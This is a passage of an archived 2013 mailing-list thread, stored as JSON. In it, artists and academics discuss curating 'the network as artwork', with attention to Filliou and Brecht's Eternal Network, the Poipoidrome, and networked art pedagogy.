                        "author_name": "Roddy Hunter",
                        "subject": "Re: Curating the Network as Artwork"
                    }
                ],
                "date": "Sun, 10 Feb 2013 17:05:44 +0100",
                "list": "crumb",
                "author_name": "Annie Abrahams",
                "subject": "Curating the Network as Artwork"
            },
            {
                "content-type": "text/plain",
                "from": "Ken Friedman",
                "content": "\nFriends,\n\nThe question on why the conversation went quiet is a good one. I\u2019ve been puzzled that many of those who agreed to contribute have not done so.\n\nFor myself, I can explain my silence. I\u2019ve been thinking. It seems to me that there have been two meanings of the word \u201cnetwork\u201d in use here.\n\nOne meaning applies to art works that use and mirror networked systems. Examples would be Nam June Paik\u2019s spectacular use of television networks in projects such as the 1984 television project titled \u201cGood Morning, Mr. Orwell,\u201d the elegant 1969 exhibition at the Museum of Contemporary Art in Chicago titled \u201cArt by Telephone,\u201d or my 1973 mail art exhibition at the Joslyn Art Museum titled \u201cOmaha Flow Systems.\u201d\n\nThe other meaning is that of networks in the larger sense of ongoing systems that permit interactions of many kinds \u2013 networks such as postal systems, the World Wide Web, the Internet, or the global telephone network, as well as networks fornews transmission, publications, or regular social and economic interaction. This is the kind of network that I was referring to in my somewhat pessimistic statement about the failure of artists to generate durable, functioning networks.\n\nOn February 7, Johannes Birringer asked me about a comment in an earlier post. I had written, \u201cmost of the projects, networks, and systems that artists try to build fail. I wanted to know why, and how to do better. This led me to questions in humanbehavior, sociology, and economics. I found general history and world history useful in examining how people have addressed different kinds of issues at other times and places.\u201d\n\nJohannes wrote, \u201cnothing could be further from the truth I think, it surprises me really that you claim this overwhelming failure, Ken, which is historically not accurate at all I'd think. (well, maybe I should speak from my perspective: most of theprojects and networks that I tried to help build and sustain did work, and even if there are adaptations and modifications needed, they can be accomplished). I am sure many here know examples of organizational networks that worked.\u201d\n\nWhat I meant, though, was not specific projects or art works using networks, but actual network systems that thrive and develop for longer than a year or two.\n\nAny network can be made to function if one pours enough resources and funds in. The challenge is to develop networks that generate true networks effects, becoming more valuable and more effective as more nodes affiliate. Examples of networks that function and grow successfully have \u2013 at times \u2013 included the telephone and telegraph systems, canal networks, railroad networks prior to the advent oftrucking and then cheap air transport.\n\nRobert Filliou and George Brecht\u2019s concept of The Eternal Network was a concept of community, not a concept for an art work. Projects such as Art\u2019s Birthday continue and flourish \u2013 but these use a network, they are not in themselves networks, and the constituencies and communities that generate them change, die, and flourish through revivals rather than the continuity the describes a network.\n\nJohannes asked, \u201cWhat did you have in mind, Ken? what projects, networks and systems?\u201d I\u2019d feel inappropriate describing the particular details of projects and systems that don\u2019t work or didn\u2019t. There is too little time and room for a robust, detailed analysis in a list conversation such as this. In a conversation where key participants are unwilling to post a first entry, I\u2019m not prepared to launch a sociological and economic analysis of projects to which, in many respects, I was and remain sympathetic.\n\nIf artists have indeed created social and economic networks that function for more than short periods supported by massive external subsidies, it would be interesting toknow of them.\n\nIn 2005, The MIT Press published Anne-Marie Chandler and Norie Neumark\u2019s book At A Distance: Precursors to Internet Art and Activism. I wrote a chapter for the book titled \u201cThe Wealth and Poverty of Networks.\u201d This chapter describes some of the issues that I feel describe networks, and I give examples of networks that succeeded and failed.\n\nInterested list members can download a PDF copy of the chapter \u2013 produced with permission of the publisher \u2013 at URL:\n\nhttp://swinburne.academia.edu/KenFriedman\n\nOne aspect of all networks is that they are lodged in a culture and a technological era. They are also subject to the laws of biology, chemistry, and physics. Therefore, allnetworks eventually vanish. The Sumerian civilization began nearly 8,000 years ago. A king named Culgi who rule 4,000 years ago was quite proud of his sophisticated network of roads with a postal service and rest stops:\n\n\u201cI, Culgi, the mighty king, superior to all, strengthened the roads, put in order the highways of the Land. I marked out the double-hour distances, built there lodging houses. I planted gardens by their side and established resting-places, andinstalled in those places experienced men. Whichever direction one comes from, one can refresh oneself at their cool sides; and the traveller who reaches nightfall on the road can seek haven there as in a well-built city.\u201d\n\nThe Sumerian road system went the way of Ramses II and his works \u2013 as Shelley wrote, \u201cOf that colossal wreck, boundless and bare The lone and level sands stretch far away.\u201d One expects that Eisenhower\u2019s Interstate Highway System will follow, along with most networks we humans have built.\n\nThe main difference between these and the networks I noted is that they flourished longer by giving rise to successful network effects with a smaller proportional inflow of external energy applied relative to the economic and social valuethey spin off.\n\nFor now, I\u2019m happy to make \u201cThe Wealth and Poverty of Networks\u201d available at:\n\nhttp://swinburne.academia.edu/KenFriedman\n\nYours,\n\nKen Friedman\n\nKen Friedman, PhD, DSc (hc), FDRS | University Distinguished Professor | Swinburne University of Technology | Melbourne, Australia | [log in to unmask] | Mobile +61 404 830 462 | Home Page http://www.swinburne.edu.au/design/people/Professor-Ken-Friedman-ID22.html<http://www.swinburne.edu.au/design>\n\nGuest Professor | College of Design and Innovation | Tongji University | Shanghai, China",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=32013",
                "date": "Sat, 23 Feb 2013 06:26:17 +0000",
                "list": "crumb",
                "author_name": "Ken Friedman",
                "subject": "What is a Network?"
            },
            {
                "content-type": "text/plain",
                "from": "Randall Packer",
                "content": "\nI was very interested in Roddy's reference to Robert Filliou's notion of\n'permanent creation,' which came up recently in an essay by Janet\nSarbanes: \"The Poiegg and the Mickeymaushaus: Peedagogy and Spatial\nPractice at the California Institute of the Arts.\" In this essay, Sarbanes\ndescribes CalArts as influenced by the Bauhaus in its approach to the\n\"building\" as structure for the development of new radical pedagogical\ntechniques in arts education as well as the synthesis of the arts. More\nspecifically, she points to Filliou's \"Institute of Permanent Creation\nwhere anybody might make suggestions about what kinds of things might be\ninvestigated or looked at\" as a transparent and open source approach to\nteaching and learning. The idea of \"education as dialogue rather than as a\ntransmission of knowledge\" was a fundamental concept I employed in the\nonline course I taught at CalArts last semester entitled Open Source\nStudio. (several participants of this community, including Marc Garrett,\nRuth Catlow, Annie Abrahams, and Helen Varley Jamieson, were guest\nspeakers in the course)\n\nLike Roy Ascott's reference to the 'gesamtdatenwerk' in his seminal essay,\n\"Is There Love in the Telematic Embrace,\" I believe more than ever after\nteaching Open Source Studio, that the network and its tools can be used to\nshift art education into a less hierarchical and more peer-to-peer,\ncollective experience: precisely where it belongs. In this sense, Roddy's\nsuggestion of the political nature of networks-as-artworks also applies to\nthe idea of the network-as-art-school.\n\nMy own 'utopia' in this regard is the post-institutional approach to\nteaching. I gave up on the idea of being \"institutionalized\" in my\nacademic career several years ago, and now freelance for several\nUniversities and art schools around the world. It is through this\ndeveloping network that I see the potential of bringing students into an\n\"open university\" setting - no longer tethered to a single institution -\nthrough video-conferencing and other forms of networked learning tools. It\nis my hope that art students can reach out inter-institionally and\ninter-culturally to engage in a form of collaborative research and\nproduction that is underutilized, but well within our reach conceptually\nand technologically.\n\nI would be interested in related work in this area.\n\nRandall\n\nOn 2/3/13 9:39 PM, \"Roddy Hunter\" <[log in to unmask]> wrote:\n\n>Dear List,\n>\n>It is my pleasure to announce the February 2013 Theme of the Month.\n>\n>\u0152Curating the Network as Artwork\u00b9\n>\n>In 1968, artists George Brecht and Robert Filliou co-created 'The Eternal\n>Network'. Arguably, this network was itself an artwork and vice versa.\n>Filliou in particular explored how this network-as-artwork could enable\n>collaboration, exchange and dialogue across space and time. More than\n>solely a means of distribution or medium of production, 'The Eternal\n>Network' became for him a conceptual context for \u0152permanent creation\u00b9\n>(Filliou 1996). Filliou\u00b9s project is one example of many in which artists\n>inhabit networks as systems of communication and exchange (Grundmann\n>1984; Saper 2001). These networks are attractive to artists as\n>decentralised or distributed environments bypassing institutional\n>curatorial spaces. There is then often a political as well as aesthetic\n>dimension to the attractiveness of networks-as-artworks. This may now,\n>however, be undermined by a dependence of these networks upon the\n>internet which has been argued to be \u0152the most material and visible sign\n>of globalisation\u00b9 (Manovich 2001, 6). Lovink (2002) has cited the view\n>that the \u0152pace [of globalisation] has increased with the advent of new\n>technologies, especially in the area of telecommunications\u00b9 and so\n>artists, activists and commercial, corporate players alike have employed\n>online networks in search of their respective \u0152utopias\u00b9. Lovink\n>elaborates on this irreconcilability later that \u0152we need to develop a\n>long-term view on how networked technologies should and should not be\n>embedded in political and cultural practices\u00b9. (Lovink 2012, 160) How far\n>has the \u0152globalism\u00b9 of communication sought by Filliou and others been\n>supplanted by \u0152globalisation\u00b9 in its neoliberal, doctrinal sense?\n>(Chomsky 1999). Can the network as artwork be effective beyond\n>conceptualisation in material terms? How can we rethink curatorial\n>strategies in respect of the network-as-artwork\u00b9s media of production,\n>means of distribution and experience of reception? In short, how can we\n>find ways to curate 'The Eternal Network' after globalisation?\n> \n>References:\n>Chomsky, Noam. 1999. Profit Over People: Neoliberalism and Global Order.\n>New York: Seven Stories Press.\n>Filliou, Robert. 1996. From Political to Poetical Economy. Vancouver:\n>Morris and Helen Belkin Gallery.\n>Grundmann, Heidi. 1984. Art and Telecommunication. Vancouver: Western\n>Front / Vienna: BLIX\n>Lovink, Geert. 2002. \u00b3A Ramble through Theories of Globalization\u00b2.\n>Available at \n>http://geertlovink.org/texts/a-ramble-through-theories-of-globalization/.\n>Lovink, Geert. 2012. Networks Without a Cause: A Critique of Social\n>Media. Cambridge: Polity.\n>Manovich, Lev. 2001. The Language of New Media. MIT press.\n>Saper, Craig J. 2001. Networked Art. St Paul: University of Minnesota\n>Press\n> \n>Invited respondents are:\n>\n>Annie Abrahams\n>Artist who questions the possibilities and the limits of communication in\n>general and more specifically investigates its modes under networked\n>conditions. \n>http://bram.org/info/aa.htm\n>\n>Zeigam Azizov\n>Artist born in Azerbaijan, based in London. Studied art and philosophy in\n>Russia, France and UK. His work addresses the question of\n>cross-circulations of knowledge through images. Exhibitions include\n>Venice Biennale, Tate Modern, Haus der Kunst, M\u00fcnchen, Grazer\n>Kunstverein, TN Probe, Tokyo, ICA London and Lakeside Kunstraum,\n>Klagenfurt.\n>http://zeigamazizov.com/\n>\n>Mideo M. Cruz\n>Cross-disciplinary artist-organizer based in Manila and Southeast Asia.\n>Network projects critiquing globalisation include New World Disorder in\n>addition to performances internationally.\n>http://www.mideo.tk/\n>\n>Barnaby Dicker\n>Artist-filmmaker, researcher, lecturer and curator. He holds a doctorate\n>in experimental stop-frame cinematography and teaches on BA Film\n>Production at University for the Creative Arts, Farnham and the Royal\n>College of Art, London. He is a founder member of Art\u00b9s Birthday Wales,\n>which annually celebrates Robert Filliou\u00b9s fifty year-old proposition.\n>http://artsbirthdaywales.tumblr.com\n>\n>Ken Friedman\n>University Distinguished Professor at Swinburne University in Melbourne,\n>Australia. Since 1966, Friedman has been active in Fluxus. Theory,\n>Culture, and Society recently published Friedman's reflections on Fluxus\n>at the 50-year mark. The full text is available free at:\n>http://tcs.sagepub.com/content/29/7-8/372\n>\n>Marc Garrett\n>Artist, curator, writer, activist, educator and musician. Co-Founder &\n>Co-Director, Furtherfield, London and currently doctoral researcher in\n>Art, Technology and Social Change at Birkbeck, University of London.\n>http://www.furtherfield.org/user/marc-garrett\n>\n>Ingo G\u00fcnther\n>Artist and journalist based in New York. Studied Ethnology and Cultural\n>Anthropology in Frankfurt, graduated from Kunstakademie D\u00fcsseldorf.\n>Founded Eastern Europe's first public access non-commercial TV station.\n>The social geography project Worldprocessor is now in its 24th year.\n>http://ingogunther.com\n>\n>Iliyana Nedkova\n>Curator and writer. Creative Director (Contemporary Art) at Horsecross,\n>Perth and Research Curator at CCA, Glasgow\n>http://www.horsecross.co.uk/about/threshold-artspace\n>\n>Helen Pritchard\n>Artist and researcher exploring ideas of co-research, co-production and\n>co-operation. Currently doctoral researcher at 'HighWire', Lancaster\n>University and visiting researcher at City University, Hong Kong.\n>http://www.helenpritchard.info\n>\n>Clive Robertson\n>Performance and media artist, curator and critic teaching art history,\n>performance and cultural studies at Queen's University, Kingston, Canada.\n>http://www.queensu.ca/art/arthistory/faculty/cRobertson.html\n>\n>Scott Watson\n>Head and Professor of Art History, Visual Art and Theory and\n>Director/Curator of the Morris and Helen Belkin Art Gallery at the\n>University of British Columbia, Vancouver.\n>http://www.ahva.ubc.ca/facultyIntroDisplay.cfm?InstrID=19&FacultyID=1\n>\n>Looking forward to a good conversation,\n>\n>Best wishes\n>\n>Roddy\n>\n>CRUMB Profile: http://tinyurl.com/cm5t3bp",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=8296",
                "follow-up": [
                    {
                        "from": "Roddy Hunter",
                        "content": "\nHi Randall,\n\nGlad to see you here, thanks for your comments. I really enjoyed\nparticipating in your recent Open Source Studio Global Concept Exchange on\nthe work of Marc and Ruth at Furtherfield (\nhttp://www.randallpacker.com/?p=2798). It was there I encountered Annie\nAbrahams for the first time and have invited her as a respondent to this\ndiscussion here. We could talk about that event as an example of how your\nparticular networked-pedagogic methdology works in terms of production,\ndistribution, perception. I have some notes somewhere, if you'd like.\n\nI asked a question then about Cal Arts in relation to\ncross-interdisciplnary pedagogy in relation to my own experience at\nDartington College of Arts from 1998-2007, where there was a comparably\nexperimental approach. There is a good relationship too between your Open\nSource Studio model and Filliou's interest in pedagogy in art. His artists'\nbook 'Teaching and Learning As Perfroming Arts' (\nhttp://www.leftmatrix.com/teachingandlearning.html) is similarly dialogic\nin tone. Yours is digitally networked, his is materialistically analogue?\n\nBest wishes\n\nRoddy\n\nOn 5 February 2013 21:59, Randall Packer <[log in to unmask]> wrote:\n\n> I was very interested in Roddy's reference to Robert Filliou's notion of\n> 'permanent creation,' which came up recently in an essay by Janet\n> Sarbanes: \"The Poiegg and the Mickeymaushaus: Peedagogy and Spatial\n> Practice at the California Institute of the Arts.\" In this essay, Sarbanes\n> describes CalArts as influenced by the Bauhaus in its approach to the\n> \"building\" as structure for the development of new radical pedagogical\n> techniques in arts education as well as the synthesis of the arts. More\n> specifically, she points to Filliou's \"Institute of Permanent Creation\n> where anybody might make suggestions about what kinds of things might be\n> investigated or looked at\" as a transparent and open source approach to\n> teaching and learning. The idea of \"education as dialogue rather than as a\n> transmission of knowledge\" was a fundamental concept I employed in the\n> online course I taught at CalArts last semester entitled Open Source\n> Studio. (several participants of this community, including Marc Garrett,\n> Ruth Catlow, Annie Abrahams, and Helen Varley Jamieson, were guest\n> speakers in the course)\n>\n> Like Roy Ascott's reference to the 'gesamtdatenwerk' in his seminal essay,\n> \"Is There Love in the Telematic Embrace,\" I believe more than ever after\n> teaching Open Source Studio, that the network and its tools can be used to\n> shift art education into a less hierarchical and more peer-to-peer,\n> collective experience: precisely where it belongs. In this sense, Roddy's\n> suggestion of the political nature of networks-as-artworks also applies to\n> the idea of the network-as-art-school.\n>\n> My own 'utopia' in this regard is the post-institutional approach to\n> teaching. I gave up on the idea of being \"institutionalized\" in my\n> academic career several years ago, and now freelance for several\n> Universities and art schools around the world. It is through this\n> developing network that I see the potential of bringing students into an\n> \"open university\" setting - no longer tethered to a single institution -\n> through video-conferencing and other forms of networked learning tools. It\n> is my hope that art students can reach out inter-institionally and\n> inter-culturally to engage in a form of collaborative research and\n> production that is underutilized, but well within our reach conceptually\n> and technologically.\n>\n> I would be interested in related work in this area.\n>\n> Randall\n>\n> On 2/3/13 9:39 PM, \"Roddy Hunter\" <[log in to unmask]> wrote:\n>\n> >Dear List,\n> >\n> >It is my pleasure to announce the February 2013 Theme of the Month.\n> >\n> >\u0152Curating the Network as Artwork\u00b9\n> >\n> >In 1968, artists George Brecht and Robert Filliou co-created 'The Eternal\n> >Network'. Arguably, this network was itself an artwork and vice versa.\n> >Filliou in particular explored how this network-as-artwork could enable\n> >collaboration, exchange and dialogue across space and time. More than\n> >solely a means of distribution or medium of production, 'The Eternal\n> >Network' became for him a conceptual context for \u0152permanent creation\u00b9\n> >(Filliou 1996). Filliou\u00b9s project is one example of many in which artists\n> >inhabit networks as systems of communication and exchange (Grundmann\n> >1984; Saper 2001). These networks are attractive to artists as\n> >decentralised or distributed environments bypassing institutional\n> >curatorial spaces. There is then often a political as well as aesthetic\n> >dimension to the attractiveness of networks-as-artworks. This may now,\n> >however, be undermined by a dependence of these networks upon the\n> >internet which has been argued to be \u0152the most material and visible sign\n> >of globalisation\u00b9 (Manovich 2001, 6). Lovink (2002) has cited the view\n> >that the \u0152pace [of globalisation] has increased with the advent of new\n> >technologies, especially in the area of telecommunications\u00b9 and so\n> >artists, activists and commercial, corporate players alike have employed\n> >online networks in search of their respective \u0152utopias\u00b9. Lovink\n> >elaborates on this irreconcilability later that \u0152we need to develop a\n> >long-term view on how networked technologies should and should not be\n> >embedded in political and cultural practices\u00b9. (Lovink 2012, 160) How far\n> >has the \u0152globalism\u00b9 of communication sought by Filliou and others been\n> >supplanted by \u0152globalisation\u00b9 in its neoliberal, doctrinal sense?\n> >(Chomsky 1999). Can the network as artwork be effective beyond\n> >conceptualisation in material terms? How can we rethink curatorial\n> >strategies in respect of the network-as-artwork\u00b9s media of production,\n> >means of distribution and experience of reception? In short, how can we\n> >find ways to curate 'The Eternal Network' after globalisation?\n> >\n> >References:\n> >Chomsky, Noam. 1999. Profit Over People: Neoliberalism and Global Order.\n> >New York: Seven Stories Press.\n> >Filliou, Robert. 1996. From Political to Poetical Economy. Vancouver:\n> >Morris and Helen Belkin Gallery.\n> >Grundmann, Heidi. 1984. Art and Telecommunication. Vancouver: Western\n> >Front / Vienna: BLIX\n> >Lovink, Geert. 2002. \u00b3A Ramble through Theories of Globalization\u00b2.\n> >Available at\n> >http://geertlovink.org/texts/a-ramble-through-theories-of-globalization/.\n> >Lovink, Geert. 2012. Networks Without a Cause: A Critique of Social\n> >Media. Cambridge: Polity.\n> >Manovich, Lev. 2001. The Language of New Media. MIT press.\n> >Saper, Craig J. 2001. Networked Art. St Paul: University of Minnesota\n> >Press\n> >\n> >Invited respondents are:\n> >\n> >Annie Abrahams\n> >Artist who questions the possibilities and the limits of communication in\n> >general and more specifically investigates its modes under networked\n> >conditions.\n> >http://bram.org/info/aa.htm\n> >\n> >Zeigam Azizov\n> >Artist born in Azerbaijan, based in London. Studied art and philosophy in\n> >Russia, France and UK. His work addresses the question of\n> >cross-circulations of knowledge through images. Exhibitions include\n> >Venice Biennale, Tate Modern, Haus der Kunst, M\u00fcnchen, Grazer\n> >Kunstverein, TN Probe, Tokyo, ICA London and Lakeside Kunstraum,\n> >Klagenfurt.\n> >http://zeigamazizov.com/\n> >\n> >Mideo M. Cruz\n> >Cross-disciplinary artist-organizer based in Manila and Southeast Asia.\n> >Network projects critiquing globalisation include New World Disorder in\n> >addition to performances internationally.\n> >http://www.mideo.tk/\n> >\n> >Barnaby Dicker\n> >Artist-filmmaker, researcher, lecturer and curator. He holds a doctorate\n> >in experimental stop-frame cinematography and teaches on BA Film\n> >Production at University for the Creative Arts, Farnham and the Royal\n> >College of Art, London. He is a founder member of Art\u00b9s Birthday Wales,\n> >which annually celebrates Robert Filliou\u00b9s fifty year-old proposition.\n> >http://artsbirthdaywales.tumblr.com\n> >\n> >Ken Friedman\n> >University Distinguished Professor at Swinburne University in Melbourne,\n> >Australia. Since 1966, Friedman has been active in Fluxus. Theory,\n> >Culture, and Society recently published Friedman's reflections on Fluxus\n> >at the 50-year mark. The full text is available free at:\n> >http://tcs.sagepub.com/content/29/7-8/372\n> >\n> >Marc Garrett\n> >Artist, curator, writer, activist, educator and musician. Co-Founder &\n> >Co-Director, Furtherfield, London and currently doctoral researcher in\n> >Art, Technology and Social Change at Birkbeck, University of London.\n> >http://www.furtherfield.org/user/marc-garrett\n> >\n> >Ingo G\u00fcnther\n> >Artist and journalist based in New York. Studied Ethnology and Cultural\n> >Anthropology in Frankfurt, graduated from Kunstakademie D\u00fcsseldorf.\n> >Founded Eastern Europe's first public access non-commercial TV station.\n> >The social geography project Worldprocessor is now in its 24th year.\n> >http://ingogunther.com\n> >\n> >Iliyana Nedkova\n> >Curator and writer. Creative Director (Contemporary Art) at Horsecross,\n> >Perth and Research Curator at CCA, Glasgow\n> >http://www.horsecross.co.uk/about/threshold-artspace\n> >\n> >Helen Pritchard\n> >Artist and researcher exploring ideas of co-research, co-production and\n> >co-operation. Currently doctoral researcher at 'HighWire', Lancaster\n> >University and visiting researcher at City University, Hong Kong.\n> >http://www.helenpritchard.info\n> >\n> >Clive Robertson\n> >Performance and media artist, curator and critic teaching art history,\n> >performance and cultural studies at Queen's University, Kingston, Canada.\n> >http://www.queensu.ca/art/arthistory/faculty/cRobertson.html\n> >\n> >Scott Watson\n> >Head and Professor of Art History, Visual Art and Theory and\n> >Director/Curator of the Morris and Helen Belkin Art Gallery at the\n> >University of British Columbia, Vancouver.\n> >http://www.ahva.ubc.ca/facultyIntroDisplay.cfm?InstrID=19&FacultyID=1\n> >\n> >Looking forward to a good conversation,\n> >\n> >Best wishes\n> >\n> >Roddy\n> >\n> >CRUMB Profile: http://tinyurl.com/cm5t3bp\n>\n>\n>\n\n\n-- \nRoddy Hunter\n\nartist\uff5ccurator\uff5ceducator\uff5cwriter\n\n[log in to unmask]\nhttp://yorksj.academia.edu/RoddyHunter/About",
                        "id": 0,
                        "date": "Tue, 5 Feb 2013 23:32:04 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=9225",
                        "content-type": "text/plain",
                        "author_name": "Roddy Hunter",
                        "subject": "Re: February 2013 Theme of the Month: \u0152Curating the Network as Artwork\u00b9"
                    },
                    {
                        "from": "Barnaby Dicker",
                        "content": "\nHi all,\n\nI'd like to pick up on a couple of things Randall mentioned.\nFor the (1,000,0)50th anniversary of Art's Birthday, following Filliou's dating, Art's Birthday, Wales (of which I am one of the organisers), was fortunate to have Joachim Pfeufer come to Swansea to discuss his work with Filliou.\nTheir principal project was the Poipoidrome - which is also 50 this year. The 'co-architects' describe the Poipoidrome as 'an artistic proposition for a centre for permanent creation.' At its centre is the Poipoiegg (mentioned in Randall's post).\nJoachim described how he introduced the idea of 'poipoi' to Robert, having himself heard about it from anthropologist Herman Hahn, whohimself had heard it from the Dogon tribe of Mali for whom it is a salutation marking an end or renewal of an exchange. Joachim and Robert visited the Dogon while an incarnation of the Poipoidrome was installed in the Pompidou in the late 70s. They wanted to discuss and show images of their project to the Dogon people. Apparently the Dogon described it as 'the house of good weather' or 'the house of weather luck'. Joachim mentioned that Robert often signed off his letters with 'weather luck', but that he only realised relatively recently that this was Robert's translation of the Dogon people's response to the Poipoidrome.\n\nThe Poipoidrome very much embodies the principles of Filliou's 'eternal network of permanent creation,' being a place for interaction, discussion, reflection, displaying, storing, accessing and so on.\n\nI was very surprised when Joachim stated that he never used the Poipoidrome as a pedagogical excercise or model during his time as a teacher. For me, the Poipoidrome stood precisely as an alternative model of pedagogy. If I recall correctly, Joachim was/is hesitant about presenting it as something that can be taught. I appreciate and respect his concern, but still hold on to my view that the Poipoidrome embodies an important alternative site and approach to learning. Of additional interest, Joachim, mentioned how he considers their work to address political issues that have yet to emerge.\n\nPicking up on a thread from Ken: I certainly feel that the 'academy' provides a possible space for artforms that are not 'artworld' artforms (i.e. carry no market value). I say 'possible' because it's not about 'isolationist', 'pure' strategies that need totally avoid the artworld or market value. Rather, I am suggesting that the academy legitimates and provides a support - network - (I think someone else brought this topic up too. I forget who. apologies), to say nothing of alternative funding streams, for such practices. Thus, keeping such ideas/practices in play. It also allows many people to feel comfortable being minor artists, producing minor artworks (best perhaps if I claim to be speaking for myself here).\nAfterall, one of the key features of 'the network' is its inclusion of the 'little people' - too much superstar activity would sink the ship. No room for masterpieces. And presumably the budget (if there is one) should be spread appropriately, as opposed to disproportionately. It is dialogical, not monological.\n\nAnd on that note... \n\n\n\n\n\n\n\n\n\n\n\n\n",
                        "id": 0,
                        "date": "Tue, 5 Feb 2013 23:28:57 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=10079",
                        "content-type": "text/plain",
                        "author_name": "Barnaby Dicker",
                        "subject": "Re: February 2013 Theme of the Month: \u0152Curating the Network as Artwork\u00b9"
                    },
                    {
                        "from": "Roddy Hunter",
                        "content": "\nWelcome Barnaby,\n\nGlad of your comments. The Poipoidrome is an extraordinary example of\nconceptual-architecture. I've even thought it, in all its conceptual-ness,\nas somewhere between imaginary, freemasonic architecture and a virtual\nspace similar to the online. There seems something something modernist\nabout the identification of the Dogon in the work that I think deserves\nethnological interpretation. It was fantastic that you had Joachim Pfeuffer\nin Swansea teaching but yes, why not as a pedagogical space? Would seem\nobvious.\n\nHave you seen Jean-Jacques Lebel's 'Hommage \u00e0 Robert Filliou' at Artpool,\nBudapest? http://www.youtube.com/watch?v=HhuV1RRxoH0. Filliou and and\nPfeufer had constructed the Poipoidrome at the Young Artists' Club,\nBudapest in 1976 (http://www.artpool.hu/Fluxus/Filliou/Poipoidrom4.html) Making\ncontact then with Filliou, Gy\u00f6rgy Gal\u00e1ntai (whom I interviewed last year\nfor this research) collaborated with him on 'Telepathic Music' at same\nplace in 1979.\n\nThis contact with Gal\u00e1ntai ultimately led to the reconstruction in 1998 of\nthe earlier structure. (\nhttp://artpool.hu/Installation/documents/Lebel-w.html) and the curating of\nan programme that saw Lebel and other artists such as Istvan K\u00e1ntor (\nhttp://www.youtube.com/watch?v=frftVJqgtzc) develop intervention in the\nspace. I think Istvan's 'S\u00e9ance Filliou' is well worth watching.\n\nHere is the online / offline divide once more though. If you watch the\nLebel interview to the end, you'll hear him talk in English about the\nnetwork 'without / before internet': a 'human network of and between\nartists from all around the world'. Other terms Lebel uses: 'autonomous',\n'indepenedent', 'critical', 'creative'. Also the Dogon seem replaced\nsomehow by the gyspy ensemble, which again I find interesting. Is this the\nquality of 'independence', of 'autonomy' (presumably from discourses of the\nstate and/or other institutionalised power structures) that needs\nprotection from online instrumentalisation. Is the network better to exist\ninvisibly and evade recuperation? Is the visibility politics of dissent\nwithin neoliberal democracy the wrong kind of participation and opposition?\n\nBest wishes\n\nRoddy\n\nOn 5 February 2013 23:28, Barnaby Dicker <[log in to unmask]> wrote:\n\n> Hi all,\n>\n> I'd like to pick up on a couple of things Randall mentioned.\n> For the (1,000,0)50th anniversary of Art's Birthday, following Filliou's\n> dating, Art's Birthday, Wales (of which I am one of the organisers), was\n> fortunate to have Joachim Pfeufer come to Swansea to discuss his work with\n> Filliou.\n> Their principal project was the Poipoidrome - which is also 50 this year.\n> The 'co-architects' describe the Poipoidrome as 'an artistic proposition\n> for a centre for permanent creation.' At its centre is the Poipoiegg\n> (mentioned in Randall's post).\n> Joachim described how he introduced the idea of 'poipoi' to Robert, having\n> himself heard about it from anthropologist Herman Hahn, whohimself had\n> heard it from the Dogon tribe of Mali for whom it is a salutation marking\n> an end or renewal of an exchange. Joachim and Robert visited the Dogon\n> while an incarnation of the Poipoidrome was installed in the Pompidou in\n> the late 70s. They wanted to discuss and show images of their project to\n> the Dogon people. Apparently the Dogon described it as 'the house of good\n> weather' or 'the house of weather luck'. Joachim mentioned that Robert\n> often signed off his letters with 'weather luck', but that he only realised\n> relatively recently that this was Robert's translation of the Dogon\n> people's response to the Poipoidrome.\n>\n> The Poipoidrome very much embodies the principles of Filliou's 'eternal\n> network of permanent creation,' being a place for interaction, discussion,\n> reflection, displaying, storing, accessing and so on.\n>\n> I was very surprised when Joachim stated that he never used the\n> Poipoidrome as a pedagogical excercise or model during his time as a\n> teacher. For me, the Poipoidrome stood precisely as an alternative model of\n> pedagogy. If I recall correctly, Joachim was/is hesitant about presenting\n> it as something that can be taught. I appreciate and respect his concern,\n> but still hold on to my view that the Poipoidrome embodies an important\n> alternative site and approach to learning. Of additional interest, Joachim,\n> mentioned how he considers their work to address political issues that have\n> yet to emerge.\n>\n> Picking up on a thread from Ken: I certainly feel that the 'academy'\n> provides a possible space for artforms that are not 'artworld' artforms\n> (i.e. carry no market value). I say 'possible' because it's not about\n> 'isolationist', 'pure' strategies that need totally avoid the artworld or\n> market value. Rather, I am suggesting that the academy legitimates and\n> provides a support - network - (I think someone else brought this topic up\n> too. I forget who. apologies), to say nothing of alternative funding\n> streams, for such practices. Thus, keeping such ideas/practices in play. It\n> also allows many people to feel comfortable being minor artists, producing\n> minor artworks (best perhaps if I claim to be speaking for myself here).\n> Afterall, one of the key features of 'the network' is its inclusion of the\n> 'little people' - too much superstar activity would sink the ship. No room\n> for masterpieces. And presumably the budget (if there is one) should be\n> spread appropriately, as opposed to disproportionately. It is dialogical,\n> not monological.\n>\n> And on that note...\n>\n>\n>\n>\n\n\n-- \nRoddy Hunter\n\nartist\uff5ccurator\uff5ceducator\uff5cwriter\n\n[log in to unmask]\nhttp://yorksj.academia.edu/RoddyHunter/About",
                        "id": 0,
                        "date": "Wed, 6 Feb 2013 00:39:36 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=10985",
                        "content-type": "text/plain",
                        "author_name": "Roddy Hunter",
                        "subject": "Re: February 2013 Theme of the Month: \u0152Curating the Network as Artwork\u00b9"
                    },
                    {
                        "from": "Randall Packer",
                        "content": "\nThanks Roddy! \n\nI completely forgot you had attended the Open Source Studio (OSS) class\nwith Mark, Ruth, et al last fall. My interpretation of Filliou's notion of\nthe institute for permanent creation was to think of my graduate seminar\nas a permanent record in the database. Too often, education is a transient\nexperience, with scant traces left behind in the personal notebooks of\nstudents and faculty. (Even more frightening is the proprietary system of\nBlackboard.) However, in the age of digital networks, everything can be\npreserved (ideally): every post, discussion, comment, reply, etc. In OSS,\nwe used a Wordpress site to aggregate discussion, research, and\nproduction. What is particularly powerful about this in terms of the\nnetwork, is that everything is indexible. Years from now, anyone who\nparticipated (or not) can retrieve some aspect of the work/dialogue and\nemploy it as a link in a subsequent publication or project. In my limited\nexposure to Filliou, I had interpreted his idea as a digitally networked\nact of permanent creation in the context of pedagogy. Of course, this can\nbe applied to any activity, but it is well within our means to engage\neducation as a permanent knowledge base that is 